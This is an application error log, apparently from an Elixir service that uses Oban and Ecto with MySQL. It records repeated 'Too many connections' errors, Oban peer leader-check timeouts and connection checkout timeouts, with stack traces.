[Sat Sep  5 21:48:56.137000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:49:09.395000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:49:09.631000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:49:10.141000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:49:14.632000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:49:16.240000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:49:19.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:49:19.467000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:49:19.573000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:49:21.376000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:49:32.281000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:49:34.593000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:49:52.495000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:49:56.355000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:49:57.496000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:49:58.299000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:01.641000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:50:01.642000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:03.299000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:06.727000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:12.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:20.919000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:22.556000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:22.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:36.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:36.676000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:50:41.678000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:50:44.749000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:46.100000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:50:46.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:48.063000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:49.065000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:50.273000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:50.516000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:50:54.084000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:51:04.530000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:51:13.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:51:21.133000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:51:21.246000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:51:26.134000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:51:30.768000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:51:30.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:51:32.452000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:51:36.001000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:51:43.093000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:51:46.299000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:00.235000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:04.798000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:52:05.645000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:52:09.799000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:52:11.071000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:12.759000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:14.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:52:14.768000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:17.520000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:25.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:32.679000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:39.171000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:45.107000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:49.799000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:52:54.800000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:52:55.983000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:52:56.256000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:52:58.903000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:52:58.905000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:00.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:01.131000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:02.324000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:02.544000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:07.044000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:14.982000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:15.296000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:27.402000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:33.936000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:53:38.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:53:38.937000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:53:43.599000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:53:43.601000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
